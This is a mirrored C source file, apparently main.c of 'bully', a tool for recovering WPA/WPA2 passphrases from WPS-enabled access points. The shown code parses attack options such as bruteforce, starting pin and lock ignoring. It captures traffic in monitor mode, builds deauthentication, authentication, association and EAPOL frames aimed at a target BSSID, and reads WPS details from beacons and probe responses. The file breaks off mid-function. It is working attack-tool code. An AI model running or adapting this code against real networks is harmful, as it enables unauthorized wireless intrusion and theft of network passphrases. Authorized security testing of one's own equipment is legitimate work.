mirror of
https://github.com/hak5/nano-tetra-packages-community.git
synced 2025-10-29 16:59:28 +00:00
1132 lines
31 KiB
C
1132 lines
31 KiB
C
/*
|
|
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
|
|
|
Copyright (C) 2017 wiire <wi7ire@gmail.com>
|
|
Copyright (C) 2012 Brian Purcell <purcell.briand@gmail.com>
|
|
|
|
This program is free software: you can redistribute it and/or modify
|
|
it under the terms of the GNU General Public License as published by
|
|
the Free Software Foundation, either version 3 of the License, or
|
|
(at your option) any later version.
|
|
|
|
This program is distributed in the hope that it will be useful,
|
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
GNU General Public License for more details.
|
|
|
|
You should have received a copy of the GNU General Public License
|
|
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
*/
|
|
#include <sys/socket.h>
|
|
#include <sys/ioctl.h>
|
|
#include <sys/types.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/time.h>
|
|
#include <sys/stat.h>
|
|
#include <pcap.h>
|
|
#include <linux/if_ether.h>
|
|
#include <linux/if.h>
|
|
#include <linux/wireless.h>
|
|
#include <linux/if_tun.h>
|
|
#include <netinet/in.h>
|
|
#include <endian.h>
|
|
#include <byteswap.h>
|
|
#include <unistd.h>
|
|
#include <signal.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <errno.h>
|
|
#include <time.h>
|
|
#include <getopt.h>
|
|
#include <fcntl.h>
|
|
#include <ctype.h>
|
|
#include <limits.h>
|
|
#include <pwd.h>
|
|
|
|
#ifdef HAVE_LUA
|
|
# include <lua.h>
|
|
# include <lualib.h>
|
|
# include <lauxlib.h>
|
|
# include "pingen.h"
|
|
# include "luaclib.h"
|
|
#endif
|
|
|
|
#define CONFIG_NO_STDOUT_DEBUG 1
|
|
#define CONFIG_INTERNAL_LIBTOMMATH
|
|
#include "tls/bignum.c"
|
|
|
|
#define eloop_register_timeout(v,w,x,y,z) _ert = 0
|
|
#define eloop_cancel_timeout(x,y,z) _ect = 0
|
|
#define wps_enrollee_process_msg(x,y,z) _epm = 0
|
|
#define wps_enrollee_get_msg(y,z) _egm = 0
|
|
|
|
#include "utils/os_unix.c"
|
|
#include "utils/common.c"
|
|
#include "utils/base64.c"
|
|
#include "utils/uuid.c"
|
|
#include "utils/wpa_debug.c"
|
|
#include "utils/wpabuf.c"
|
|
#include "crypto/sha1-internal.c"
|
|
#include "crypto/sha256.c"
|
|
#include "crypto/sha256-internal.c"
|
|
#include "crypto/aes-cbc.c"
|
|
#include "crypto/aes-internal.c"
|
|
#include "crypto/aes-internal-enc.c"
|
|
#include "crypto/aes-internal-dec.c"
|
|
#include "crypto/crypto_internal-modexp.c"
|
|
#include "crypto/dh_groups.c"
|
|
#include "crypto/dh_group5.c"
|
|
#include "wps/wps.c"
|
|
#include "wps/wps_registrar.c"
|
|
#include "wps/wps_common.c"
|
|
#include "wps/wps_dev_attr.c"
|
|
#include "wps/wps_attr_parse.c"
|
|
#include "wps/wps_attr_process.c"
|
|
#include "wps/wps_attr_build.c"
|
|
|
|
#include "bswap.h"
|
|
#include "80211.h"
|
|
#include "frame.h"
|
|
#include "iface.h"
|
|
#include "bully.h"
|
|
#include "pdust.h"
|
|
|
|
sig_atomic_t ctrlc = 0;
|
|
sig_atomic_t signm = 0;
|
|
void sigint_h(int signal) { signm = signal; ctrlc = 1; };
|
|
|
|
#include "utils.c"
|
|
#include "timer.c"
|
|
#include "crc32.c"
|
|
#include "80211.c"
|
|
#include "frame.c"
|
|
#include "iface.c"
|
|
|
|
#include "version.h"
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
int k, result, nocheck = 0, fcs_count = 0, to_count = 0;
|
|
|
|
char essids[33] = { 0 }, *essid = essids;
|
|
char bssids[18] = { 0 };
|
|
char hwmacs[18] = { 0 };
|
|
|
|
char *error;
|
|
|
|
mac_t *mac;
|
|
tag_t *tag, *tags[20] = { 0 };
|
|
vtag_t *vtag, *vt;
|
|
int tlen, vlen, tn = 1;
|
|
|
|
uint8 essidt[35] = { 0 };
|
|
|
|
struct timeval timer;
|
|
struct sigaction sigact = { 0 };
|
|
struct stat wstat;
|
|
wps_info_t wps_info = { 0 };
|
|
|
|
FILE *rf, *of;
|
|
|
|
srandom(time(NULL));
|
|
|
|
struct global *G;
|
|
if (G = calloc(1, sizeof(struct global))) {
|
|
|
|
G->phdr = calloc(1, sizeof(struct pcap_pkthdr));
|
|
if (!G->phdr)
|
|
goto mem_err;
|
|
G->error = calloc(1, 256);
|
|
if (!G->error)
|
|
goto mem_err;
|
|
G->perr = calloc(1, PCAP_ERRBUF_SIZE);
|
|
if (!G->perr)
|
|
goto mem_err;
|
|
G->index = calloc(1, MAX_CHAN + 1);
|
|
if (!G->index)
|
|
goto mem_err;
|
|
|
|
__vp = malloc(__vs);
|
|
if (!__vp)
|
|
goto mem_err;
|
|
__vf = stdout;
|
|
|
|
G->inp = f_init();
|
|
if (!G->inp)
|
|
goto mem_err;
|
|
|
|
G->verbose = __vb;
|
|
G->smacs = fmt_mac(hwmacs, G->hwmac);
|
|
G->lwait = LOCK_WAIT_SECS;
|
|
G->hop = BG_CHANS;
|
|
G->has_fcs = 1;
|
|
G->use_ack = 1;
|
|
G->eapmode = 1;
|
|
G->retries = MAX_RETRIES;
|
|
G->random = 1;
|
|
G->acktime = ACKTIME;
|
|
G->stdtime = STDTIME;
|
|
G->m13time = M13TIME;
|
|
G->k1step = 1;
|
|
G->k2delay = 5;
|
|
G->k2step = 1;
|
|
G->pinstart = G->pindex = -1;
|
|
|
|
char *temp = getpwuid(getuid())->pw_dir;
|
|
G->warpath = malloc(strlen(temp) + strlen(EXE_NAME) + 3);
|
|
strcpy(G->warpath, temp);
|
|
strcat(G->warpath, "/.");
|
|
strcat(G->warpath, EXE_NAME);
|
|
mkdir(G->warpath, S_IRWXU | S_IRWXG | S_IROTH | S_IXOTH);
|
|
}
|
|
else {
|
|
|
|
mem_err:
|
|
fprintf(stderr, "Memory allocation error\n");
|
|
return 2;
|
|
};
|
|
|
|
|
|
while (1) {
|
|
int option_index = 0;
|
|
static struct option long_options[] = {
|
|
{"acktime", 1, 0, 'a'},
|
|
{"bssid", 1, 0, 'b'},
|
|
{"channel", 1, 0, 'c'},
|
|
{"essid", 1, 0, 'e'},
|
|
{"index", 1, 0, 'i'},
|
|
{"lockwait", 1, 0, 'l'},
|
|
{"m13time", 1, 0, 'm'},
|
|
{"outfile", 1, 0, 'o'},
|
|
{"pin", 1, 0, 'p'},
|
|
{"retries", 1, 0, 'r'},
|
|
{"source", 1, 0, 's'},
|
|
{"timeout", 1, 0, 't'},
|
|
#ifdef HAVE_LUA
|
|
{"lua", 1, 0, 'u'},
|
|
#endif
|
|
{"verbosity", 1, 0, 'v'},
|
|
{"workdir", 1, 0, 'w'},
|
|
{"pin1delay", 1, 0, '1'},
|
|
{"pin2delay", 1, 0, '2'},
|
|
{"5ghz", 0, 0, '5'},
|
|
{"noacks", 0, 0, 'A'},
|
|
{"nocheck", 0, 0, 'C'},
|
|
{"bruteforce", 0, 0, 'B'},
|
|
{"detectlock", 0, 0, 'D'},
|
|
{"eapfail", 0, 0, 'E'},
|
|
{"force", 0, 0, 'F'},
|
|
{"lockignore", 0, 0, 'L'},
|
|
{"m57nack", 0, 0, 'M'},
|
|
{"nofcs", 0, 0, 'N'},
|
|
{"probe", 0, 0, 'P'},
|
|
{"wpsinfo", 0, 0, 'Q'},
|
|
{"radiotap", 0, 0, 'R'},
|
|
{"sequential", 0, 0, 'S'},
|
|
{"test", 0, 0, 'T'},
|
|
{"version", 0, 0, 'V'},
|
|
{"windows7", 0, 0, 'W'},
|
|
{"suppress", 0, 0, 'Z'},
|
|
{"help", 0, 0, 'h'},
|
|
{0, 0, 0, 0 }
|
|
};
|
|
|
|
int option = getopt_long(argc, argv, "a:b:c:e:i:l:m:o:p:r:s:t:"
|
|
#ifdef HAVE_LUA
|
|
"u:"
|
|
#endif
|
|
"v:w:1:2:5ABCDEFLMNPQRSTVWZh",
|
|
long_options, &option_index);
|
|
|
|
if (option < 0)
|
|
break;
|
|
|
|
switch (option) {
|
|
case 0:
|
|
break;
|
|
case 'a':
|
|
if (get_int(optarg, &G->acktime) != 0) {
|
|
snprintf(G->error, 256, "Bad packet timeout number -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
printf("Deprecated option --acktime (-a) ignored\n");
|
|
break;
|
|
case 'b':
|
|
if (get_mac(optarg, G->bssid) != 0) {
|
|
snprintf(G->error, 256, "Bad target MAC address -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
G->ssids = fmt_mac(bssids, G->bssid);
|
|
break;
|
|
case 'c':
|
|
G->hop = optarg;
|
|
break;
|
|
case 'e':
|
|
G->essid = optarg;
|
|
break;
|
|
case 'i':
|
|
if (get_int(optarg, &G->pindex) != 0 || 99999999 < G->pindex) {
|
|
snprintf(G->error, 256, "Bad starting index number -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
break;
|
|
case 'l':
|
|
if (get_int(optarg, &G->lwait) != 0) {
|
|
snprintf(G->error, 256, "Bad lock wait number -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
break;
|
|
case 'm':
|
|
if (get_int(optarg, &G->m13time) != 0) {
|
|
snprintf(G->error, 256, "Bad M1/M3 timeout number -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
printf("Deprecated option --m13time (-m) ignored\n");
|
|
break;
|
|
case 'o':
|
|
if ((of = fopen(optarg, "w")) != NULL)
|
|
__vf = of;
|
|
else {
|
|
snprintf(G->error, 256, "Can't open output file -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
break;
|
|
case 'p':
|
|
if (get_int(optarg, &G->pinstart) != 0 || 99999999 < G->pinstart) {
|
|
snprintf(G->error, 256, "Bad starting pin number -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
break;
|
|
case 'r':
|
|
if (get_int(optarg, &G->retries) != 0) {
|
|
snprintf(G->error, 256, "Bad max retries number -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
break;
|
|
case 's':
|
|
if (get_mac(optarg, G->hwmac) != 0 || memcmp(G->hwmac, NULL_MAC, 6) == 0) {
|
|
snprintf(G->error, 256, "Bad source MAC address -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
break;
|
|
case 't':
|
|
if (get_int(optarg, &G->stdtime) != 0) {
|
|
snprintf(G->error, 256, "Bad timeout number -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
printf("Deprecated option --timeout (-t) ignored\n");
|
|
break;
|
|
#ifdef HAVE_LUA
|
|
case 'u': {
|
|
const unsigned int luap = strlen(optarg);
|
|
if (stat(optarg, &wstat) || !S_ISREG(wstat.st_mode)
|
|
|| luap < 5 || strcmp(&optarg[luap - 4], ".lua")) {
|
|
snprintf(G->error, 256, "Bad lua scripting file -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
result = wstat.st_mode | (wstat.st_mode >> 4);
|
|
if ((result & S_IRWXG) != S_IRWXG) {
|
|
snprintf(G->error, 256, "Permission denied -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
G->luaf = optarg;
|
|
}
|
|
break;
|
|
#endif
|
|
case 'v':
|
|
if (get_int(optarg, &G->verbose) != 0 || G->verbose < 1 || 3 < G->verbose) {
|
|
snprintf(G->error, 256, "Bad verbosity level -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
__vb = G->verbose;
|
|
break;
|
|
case 'w':
|
|
if (stat(optarg, &wstat) || !S_ISDIR(wstat.st_mode)) {
|
|
snprintf(G->error, 256, "Bad working directory -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
result = wstat.st_mode | (wstat.st_mode >> 4);
|
|
if ((result & S_IRWXG) != S_IRWXG) {
|
|
snprintf(G->error, 256, "Permission denied -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
free(G->warpath);
|
|
G->warpath = optarg;
|
|
break;
|
|
case '1':
|
|
if (get_int(optarg, &G->k1delay) != 0)
|
|
if (sscanf(optarg, "%d,%d%s", &G->k1delay, &G->k1step, G->error) != 2) {
|
|
snprintf(G->error, 256, "Bad recurring delay -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
break;
|
|
case '2':
|
|
if (get_int(optarg, &G->k2delay) != 0)
|
|
if (sscanf(optarg, "%d,%d%s", &G->k2delay, &G->k2step, G->error) != 2) {
|
|
snprintf(G->error, 256, "Bad recurring delay -- %s\n", optarg);
|
|
goto usage_err;
|
|
};
|
|
break;
|
|
case '5':
|
|
G->hop = AN_CHANS;
|
|
break;
|
|
case 'A':
|
|
G->use_ack = 0;
|
|
break;
|
|
case 'B':
|
|
G->broken = 1;
|
|
break;
|
|
case 'C':
|
|
nocheck = 1;
|
|
break;
|
|
case 'D':
|
|
G->detect = 1;
|
|
break;
|
|
case 'E':
|
|
G->eapfail = 1;
|
|
break;
|
|
case 'F':
|
|
G->force = 1;
|
|
break;
|
|
case 'L':
|
|
G->ignore = 1;
|
|
break;
|
|
case 'M':
|
|
G->m57nack = 1;
|
|
times[PKT_M5].avg = times[PKT_M5].max = times[PKT_M5].def * 2;
|
|
times[PKT_M7].avg = times[PKT_M7].max = times[PKT_M7].def * 2;
|
|
break;
|
|
case 'N':
|
|
G->has_fcs = 0;
|
|
break;
|
|
case 'P':
|
|
G->probe = 1;
|
|
break;
|
|
case 'Q':
|
|
G->wpsinfo = 1;
|
|
break;
|
|
case 'R':
|
|
G->has_rth = 1;
|
|
break;
|
|
case 'S':
|
|
G->random = 0;
|
|
break;
|
|
case 'T':
|
|
G->test = 1;
|
|
break;
|
|
case 'V':
|
|
printf("%s\n", VERSION);
|
|
exit(0);
|
|
case 'W':
|
|
G->win7 = 1;
|
|
break;
|
|
case 'Z':
|
|
G->suppress = 1;
|
|
break;
|
|
case 'h':
|
|
goto usage_err;
|
|
case '?':
|
|
default:
|
|
fprintf(stderr, "\"%s --help\" for help.\n", argv[0]);
|
|
return 1;
|
|
};
|
|
};
|
|
|
|
if (argc - optind != 1) {
|
|
if (argc - optind == 0)
|
|
G->error = "No monitor mode interface specified\n";
|
|
else
|
|
G->error = "Too many arguments\n";
|
|
|
|
usage_err:
|
|
fprintf(stderr, usage, argv[0], G->error);
|
|
return 1;
|
|
};
|
|
|
|
if (-1 < G->pindex) {
|
|
if (9999999 < G->pindex && !G->broken) {
|
|
snprintf(G->error, 256,
|
|
"Index number must be less than 8 digits unless -bruteforce is specified -- %08d\n",
|
|
G->pindex);
|
|
goto usage_err;
|
|
};
|
|
if (-1 < G->pinstart) {
|
|
G->error = "Options --index and --pin are mutually exclusive\n";
|
|
goto usage_err;
|
|
};
|
|
if (G->random == 0) {
|
|
G->error = "Option --index is meaningless when specifying --sequential\n";
|
|
goto usage_err;
|
|
};
|
|
};
|
|
if (9999999 < G->pinstart && !G->broken) {
|
|
snprintf(G->error, 256,
|
|
"Pin number must be less than 8 digits unless -bruteforce is specified -- %08d\n",
|
|
G->pinstart);
|
|
goto usage_err;
|
|
};
|
|
|
|
G->ifname = argv[optind];
|
|
|
|
if (G->essid == 0 && G->ssids == 0) {
|
|
G->error = "Please specify either --bssid or --essid for the access point\n";
|
|
goto usage_err;
|
|
};
|
|
|
|
if (G->essid == 0 && G->probe != 0) {
|
|
G->error = "You must specify --essid for the AP when using --probe\n";
|
|
goto usage_err;
|
|
};
|
|
|
|
#ifdef HAVE_LUA
|
|
if (G->luaf) {
|
|
if ((G->luavm = basic_env()) == 0) {
|
|
fprintf(stderr, "Unable to create Lua environment\n");
|
|
return 9;
|
|
}
|
|
luaL_requiref(G->luavm, "wps", luaopen_wpslib, 1);
|
|
luaL_requiref(G->luavm, "algorithm", luaopen_algolib, 1);
|
|
if (luaL_dofile(G->luavm, G->luaf) != LUA_OK) {
|
|
snprintf(G->error, 256, "Error loading lua script -- %s\n", lua_tostring(G->luavm, -1));
|
|
lua_close(G->luavm);
|
|
goto usage_err;
|
|
};
|
|
G->wpsinfo = 1; /* Force data gathering for algorithms */
|
|
};
|
|
#endif
|
|
|
|
if (memcmp(G->hwmac, NULL_MAC, 6) == 0)
|
|
if (get_hwmac(G->ifname, G->hwmac)) {
|
|
fprintf(stderr, "Unable to get hardware MAC address for '%s'\n", G->ifname);
|
|
fprintf(stderr, "Please specify --source for the interface\n");
|
|
return 8;
|
|
};
|
|
fmt_mac(hwmacs, G->hwmac);
|
|
|
|
vprint("[!] Bully %s - WPS vulnerability assessment utility\n", VERSION);
|
|
|
|
if ((error = init_chans(G)) != NULL) {
|
|
snprintf(G->error, 256, "Bad channel number or list -- %s\n", error);
|
|
goto usage_err;
|
|
};
|
|
G->chanx = set_chanx(G, G->chanx);
|
|
G->start = (G->chanx ? G->chanx : G->chans[0]);
|
|
|
|
if (-1 < G->pinstart && G->random) {
|
|
vprint("[!] Starting pin specified, defaulting to sequential mode\n");
|
|
G->random = 0;
|
|
};
|
|
|
|
if (-1 < G->pindex)
|
|
G->pinstart = G->pindex;
|
|
|
|
G->pfd = pcap_open_live(G->ifname, 65536, 1, 5, G->perr);
|
|
pcap_close(G->pfd);
|
|
G->pfd = pcap_open_live(G->ifname, 65536, 1, 5, G->perr);
|
|
if (!G->pfd) {
|
|
fprintf(stderr, "%s\n", G->perr);
|
|
return 3;
|
|
};
|
|
|
|
vprint("[!] Using '%s' for the source MAC address\n", G->smacs);
|
|
|
|
G->dlt = pcap_datalink(G->pfd);
|
|
if (G->dlt == DLT_IEEE802_11_RADIO)
|
|
G->has_rth = 1;
|
|
vprint("[+] Datalink type set to '%d', radiotap headers %s\n",
|
|
G->dlt, (G->has_rth ? "present" : "not present"));
|
|
|
|
if (G->probe) { /* Build directed probe request for nonbeaconing AP's */
|
|
mac = (mac_t*)(&prober[RTH_SIZE]);
|
|
memcpy(mac->adr2.addr, G->hwmac, 6);
|
|
tags[0] = (tag_t*)(essidt);
|
|
tags[0]->len = strlen(G->essid);
|
|
memcpy(tags[0]->data, G->essid, tags[0]->len);
|
|
int tmpl;
|
|
uint8 *tmp = build_ietags(tags, &tmpl);
|
|
G->dprobe = build_packet(prober, sizeof(prober) - 1, tmp, tmpl);
|
|
G->reql = sizeof(prober) - 1 + tmpl;
|
|
free(tmp);
|
|
};
|
|
|
|
vprint("[+] Scanning for beacon from '%s' on channel '%s'\n",
|
|
(G->ssids ? G->ssids : G->essid), G->schan);
|
|
|
|
while (1) {
|
|
|
|
ap_beacon:
|
|
if (G->probe) {
|
|
if (!G->test)
|
|
result = send_packet(G, G->dprobe, G->reql, 1);
|
|
result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_PROBE_RESP,
|
|
G->hwmac, G->bssid, PKT_PR, TRUE);
|
|
}
|
|
else
|
|
result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_BEACON,
|
|
BCAST_MAC, G->bssid, PKT_BEA, TRUE);
|
|
|
|
if (result == SUCCESS) {
|
|
tag = (tag_t*)(G->inp[F_PAY].data + BFP_SIZE);
|
|
tlen = G->inp[F_PAY].size - BFP_SIZE;
|
|
if (G->essid)
|
|
if (strlen(G->essid) != tag->len)
|
|
goto ap_beacon;
|
|
else if (memcmp(G->essid, tag->data, tag->len) == 0)
|
|
break;
|
|
else if (memcmp(tag->data, nulls, tag->len) == 0) {
|
|
memcpy(tag->data, G->essid, tag->len);
|
|
break;
|
|
}
|
|
else
|
|
goto ap_beacon;
|
|
memcpy(essids, tag->data, tag->len);
|
|
G->essid = essids;
|
|
break;
|
|
};
|
|
|
|
if (result == FCSFAIL) {
|
|
if (3 <= ++fcs_count) {
|
|
vprint("[!] Disabling FCS validation (assuming --nofcs)\n");
|
|
G->has_fcs = fcs_count = 0;
|
|
};
|
|
continue;
|
|
};
|
|
|
|
if (result == TIMEOUT)
|
|
if (!G->fixed) {
|
|
G->chanx = next_chan(G);
|
|
if (G->chanx == G->start) {
|
|
if (++to_count < 3)
|
|
continue;
|
|
}
|
|
else
|
|
continue;
|
|
}
|
|
else if (++to_count < 3)
|
|
continue;
|
|
|
|
vprint("[X] Unable to get a beacon from the AP, possible causes are\n");
|
|
vprint("[.] an invalid --bssid or -essid was provided,\n");
|
|
if (G->fixed)
|
|
vprint("[.] the access point isn't on channel '%s',\n", G->schan);
|
|
if (!G->fixed)
|
|
vprint("[.] channel hopping isn't working (use --channel),\n");
|
|
vprint("[.] you aren't close enough to the access point.\n");
|
|
return 4;
|
|
};
|
|
|
|
memcpy(G->bssid, ((mac_t*)G->inp[F_MAC].data)->adr3.addr, 6);
|
|
G->ssids = fmt_mac(bssids, G->bssid);
|
|
vprint("[+] Got beacon for '%s' (%s)\n", G->essid, G->ssids);
|
|
G->nocheck = nocheck;
|
|
|
|
mac = (mac_t*)(&authrq[RTH_SIZE]);
|
|
memcpy(mac->adr1.addr, G->bssid, 6);
|
|
memcpy(mac->adr2.addr, G->hwmac, 6);
|
|
memcpy(mac->adr3.addr, G->bssid, 6);
|
|
|
|
mac = (mac_t*)(&deauth[RTH_SIZE]);
|
|
memcpy(mac->adr1.addr, G->bssid, 6);
|
|
memcpy(mac->adr2.addr, G->hwmac, 6);
|
|
memcpy(mac->adr3.addr, G->bssid, 6);
|
|
|
|
mac = (mac_t*)(&eapols[RTH_SIZE]);
|
|
memcpy(mac->adr1.addr, G->bssid, 6);
|
|
memcpy(mac->adr2.addr, G->hwmac, 6);
|
|
memcpy(mac->adr3.addr, G->bssid, 6);
|
|
|
|
mac = (mac_t*)(&eapolf[RTH_SIZE]);
|
|
memcpy(mac->adr1.addr, G->bssid, 6);
|
|
memcpy(mac->adr2.addr, G->hwmac, 6);
|
|
memcpy(mac->adr3.addr, G->bssid, 6);
|
|
|
|
mac = (mac_t*)(&eap_id[RTH_SIZE]);
|
|
memcpy(mac->adr1.addr, G->bssid, 6);
|
|
memcpy(mac->adr2.addr, G->hwmac, 6);
|
|
memcpy(mac->adr3.addr, G->bssid, 6);
|
|
|
|
mac = (mac_t*)(&wfamsg[RTH_SIZE]);
|
|
memcpy(mac->adr1.addr, G->bssid, 6);
|
|
memcpy(mac->adr2.addr, G->hwmac, 6);
|
|
memcpy(mac->adr3.addr, G->bssid, 6);
|
|
|
|
mac = (mac_t*)(&ackpkt[RTH_SIZE]);
|
|
memcpy(mac->adr1.addr, G->bssid, 6);
|
|
|
|
mac = (mac_t*)(&asshat[RTH_SIZE]);
|
|
memcpy(mac->adr1.addr, G->bssid, 6);
|
|
memcpy(mac->adr2.addr, G->hwmac, 6);
|
|
memcpy(mac->adr3.addr, G->bssid, 6);
|
|
|
|
assn_t *ass = (assn_t*)(&asshat[RTH_SIZE + MAC_SIZE_NORM]);
|
|
ass->capability = ((bfp_t*)(G->inp[F_PAY].data))->capability;
|
|
|
|
tags[0] = tag;
|
|
if ((tags[tn] = find_tag(tag, tlen, TAG_RATE, 0, NULL, 0)) != NULL)
|
|
tn++;
|
|
if ((tags[tn] = find_tag(tag, tlen, TAG_CHAN, 0, NULL, 0)) != NULL) {
|
|
if (G->chans[G->chanx] != tags[tn]->data[0])
|
|
if (!G->fixed)
|
|
G->chanx = set_chan(G, tags[tn]->data[0]);
|
|
else
|
|
vprint("[!] The access point is on channel '%d', not '%s'\n",
|
|
tags[tn]->data[0], G->schan);
|
|
tn++;
|
|
};
|
|
if ((tags[tn] = find_tag(tag, tlen, TAG_XRAT, 0, NULL, 0)) != NULL)
|
|
tn++;
|
|
tags[tn++] = (tag_t*)MS_WPS_TAG;
|
|
tags[tn] = NULL;
|
|
|
|
/* Get vendor OUI from frame when present */
|
|
if (get_oui_vendor(tag, tlen, wps_info.vendor)) {
|
|
char vendor[OUI_STR_LEN];
|
|
memcpy(vendor, get_vendor(wps_info.vendor), OUI_STR_LEN);
|
|
vprint("[!] Vendor '%s' (%02x:%02x:%02x)\n", vendor,
|
|
wps_info.vendor[0], wps_info.vendor[1], wps_info.vendor[2]);
|
|
wps_info.vendor_p = TRUE;
|
|
};
|
|
|
|
if ((tag = find_tag(tag, tlen, TAG_VEND, 0, MS_WPS_ID, 4)) == NULL) {
|
|
vprint("[X] The AP doesn't appear to be WPS enabled (no WPS IE)\n");
|
|
return 5;
|
|
};
|
|
|
|
vtag = (vtag_t*)&tag->data[4];
|
|
vlen = tag->len - 4;
|
|
vt = find_vtag(vtag, vlen, TAG_WPS_STATE, 1);
|
|
if (!vt || vt->data[0] != TAG_WPS_CONFIG) {
|
|
vprint("[!] Beacon IE indicates WPS is not configured (0x%02x)\n", vt->data[0]);
|
|
};
|
|
vt = find_vtag(vtag, vlen, TAG_WPS_APLOCK, 1);
|
|
if (vt && vt->data[0] == TAG_WPS_LOCKED) {
|
|
vprint("[!] Beacon IE indicates WPS is locked\n");
|
|
};
|
|
|
|
if (vt = find_vtag(vtag, vlen, TAG_WPS_VERSION, 1)) {
|
|
wps_info.version = vt->data[0];
|
|
};
|
|
if (vt = find_vtag(vtag, vlen, TAG_WPS_V_EXT, 2)) {
|
|
if (memcmp(vt->data, WFA_VENDOR, 3) == 0) {
|
|
uint8 *v2 = (uint8*)(vt->data + 3);
|
|
int wfa_len = be16toh(vt->len);
|
|
while (wfa_len > 0) {
|
|
if (*v2 == TAG_WPS_V2) {
|
|
wps_info.version = v2[2];
|
|
break;
|
|
};
|
|
wfa_len -= v2[1] + 2;
|
|
v2 += v2[1] + 2;
|
|
};
|
|
};
|
|
};
|
|
vprint("[!] WPS version '%u.%u'\n", wps_info.version >> 4, wps_info.version & 0x0f);
|
|
|
|
if (G->wpsinfo) { /* Build direct probe request to gather more WPS info */
|
|
mac = (mac_t*)(&prober[RTH_SIZE]);
|
|
memcpy(mac->adr2.addr, G->hwmac, 6);
|
|
tags[0] = (tag_t*)(essidt);
|
|
tags[0]->len = strlen(G->essid);
|
|
memcpy(tags[0]->data, G->essid, tags[0]->len);
|
|
int tmpl;
|
|
uint8 *tmp = build_ietags(tags, &tmpl);
|
|
G->dprobe = build_packet(prober, sizeof(prober) - 1, tmp, tmpl);
|
|
G->reql = sizeof(prober) - 1 + tmpl;
|
|
free(tmp);
|
|
|
|
vprint("[+] Sending probe request to '%s' (%s)\n", G->essid, G->ssids);
|
|
|
|
while (1) {
|
|
|
|
ap_probe:
|
|
result = send_packet(G, G->dprobe, G->reql, 1);
|
|
result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_PROBE_RESP,
|
|
G->hwmac, G->bssid, PKT_PR, TRUE);
|
|
|
|
if (result == SUCCESS) { /* G->has_fcs is already set to 0 if needed */
|
|
tag = (tag_t*)(G->inp[F_PAY].data + BFP_SIZE);
|
|
tlen = G->inp[F_PAY].size - BFP_SIZE;
|
|
|
|
if (strlen(G->essid) != tag->len)
|
|
goto ap_probe;
|
|
else
|
|
break;
|
|
};
|
|
if (result == TIMEOUT) {
|
|
vprint("[!] Unable to get probe response from the AP\n");
|
|
break;
|
|
};
|
|
};
|
|
|
|
if (result == SUCCESS) {
|
|
vprint("[+] Got probe response from '%s' (%s)\n", G->essid, G->ssids);
|
|
|
|
if (tag = find_tag(tag, tlen, TAG_VEND, 0, MS_WPS_ID, 4)) {
|
|
vtag = (vtag_t*)&tag->data[4];
|
|
vlen = tag->len - 4;
|
|
vtag_t *init_vtag = vtag;
|
|
|
|
if (vtag = find_vtag(vtag, vlen, TAG_WPS_PASSWD, 2)) {
|
|
wps_info.passw_id = be16toh(*((uint16_t*)(&vtag->data[0])));
|
|
wps_info.passw_id_p = TRUE;
|
|
if (wps_info.passw_id != DEV_PW_DEFAULT) {
|
|
char c_pwid[20];
|
|
vprint("[!] Device Password ID is not set to PIN but to '%s' (0x%04x)\n",
|
|
build_dev_passw_id(wps_info.passw_id, c_pwid), wps_info.passw_id);
|
|
};
|
|
}
|
|
else {
|
|
vprint("[!] Device Password ID is not present in probe response\n");
|
|
};
|
|
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_CONF_M, 2)) {
|
|
char c_buff[60];
|
|
wps_info.config_methods = be16toh(*((uint16_t*)(&vtag->data[0])));
|
|
if (wps_info.config_methods & WPS_CONF_LABEL == 0)
|
|
vprint("[!] Method Label doesn't seem to be supported\n");
|
|
vprint("[!] Configuration methods '%s'\n",
|
|
build_conf_methods_string(wps_info.config_methods, c_buff));
|
|
};
|
|
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_D_TYPE, 8)) {
|
|
char c_buff[60];
|
|
wps_info.category = be16toh(*((uint16_t*)(&vtag->data[0])));
|
|
wps_info.subcategory = be16toh(*((uint16_t*)(&vtag->data[6])));
|
|
vprint("[!] Device type '%s'\n",
|
|
build_dev_type_string(wps_info.category, wps_info.subcategory, c_buff));
|
|
};
|
|
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_UUID_E, 16)) {
|
|
memcpy(wps_info.uuid, vtag->data, 16);
|
|
};
|
|
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_D_NAME, 0)) {
|
|
int tag_size = be16toh(vtag->len);
|
|
memcpy(wps_info.device_name, vtag->data, tag_size);
|
|
wps_info.device_name[tag_size] = '\0';
|
|
vprint("[!] Device name '%s'\n", wps_info.device_name);
|
|
};
|
|
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_MANU, 0)) {
|
|
int tag_size = be16toh(vtag->len);
|
|
memcpy(wps_info.manufacturer, vtag->data, tag_size);
|
|
wps_info.manufacturer[tag_size] = '\0';
|
|
vprint("[!] Manufacturer '%s'\n", wps_info.manufacturer);
|
|
};
|
|
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_M_NAME, 0)) {
|
|
